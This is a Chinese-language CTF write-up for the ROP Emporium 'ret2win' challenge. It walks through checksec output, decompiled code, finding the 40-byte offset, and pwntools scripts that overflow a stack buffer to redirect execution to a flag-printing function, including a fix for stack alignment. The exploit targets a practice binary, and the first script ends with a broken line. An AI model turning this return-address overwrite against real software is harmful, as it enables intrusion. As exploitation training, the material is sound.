题目地址:ret2win
0x1拿到题目后,首先检查一下文件类型,看看保护机制。
1 2 3 4 5 6 7 8 9 sakura@Kylin:~/下载/ret2win$ file ret2win ret2win: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=19abc0b3bb228157af55b8e16af7316d54ab0597, not stripped sakura@Kylin:~/下载/ret2win$ checksec ret2win [*] '/home/sakura/下载/ret2win/ret2win' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
它是一个 64 位的程序,可以看到只开启了 NX。要想绕过它,就要运用 ROP 技术了。
0x2再把它拖进 IDA 看看。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 int __cdecl main (int argc, const char **argv, const char **envp) { setvbuf(_bss_start, 0LL , 2 , 0LL ); puts ("ret2win by ROP Emporium" ); puts ("x86_64\n" ); pwnme(); puts ("\nExiting" ); return 0 ; } int pwnme () { char s[32 ]; memset (s, 0 , sizeof (s)); puts ("For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!" ); puts ("What could possibly go wrong?" ); puts ("You there, may I have your input please? And don't worry about null bytes, we're using read()!\n" ); printf ("> " ); read(0 , s, 0x38 uLL); return puts ("Thank you!" ); }
这里我们发现了一个 ret2win() 函数
1 2 3 4 5 int ret2win () { puts ("Well done! Here's your flag:" ); return system("/bin/cat flag.txt" ); }
这里能打印出 flag.txt ,所以我们就通过将返回地址覆盖为 0x400756,来调用这个函数。
先来看看,需要填充多少字符才能覆盖到返回地址。
老规矩启用 peda,pattern create 200 ,调试到 ret 指令,此时栈的情况如下:
1 2 pattern offset AA0AAFAAbAA1AAGA AA0AAFAAbAA1AAGA found at offset: 40
0x3构建脚本 ret2win.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from pwn import *context.log_level = 'debug' p = process("./ret2win" ) gdb.attach(p, "break main" ) bin_addr = 0x400756 payload = b'a' *40 + p64(bin_addr) p.recvuntil(b"> " ) input ("already..." )p.sendline(payload) input ("send payload after..." )p.recvuntil(b"Here's your flag: " ) p.interactive() success(flag)
我在本地测试时,碰到了下面这个问题,查资料 本地测试碰到的问题及其解决方法 说是栈操作导致无法对齐 0x10 的原因。
将 ret2win.py 的 bin_addr = 0x40075a 跳过栈操作,即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import *p = process("./ret2win" ) bin_addr = 0x40075a payload = b'a' *40 + p64(bin_addr) p.recvuntil(b"> " ) p.sendline(payload) p.recvuntil(b"Here's your flag:\n" ) flag=p.recvline() print (flag)
结果: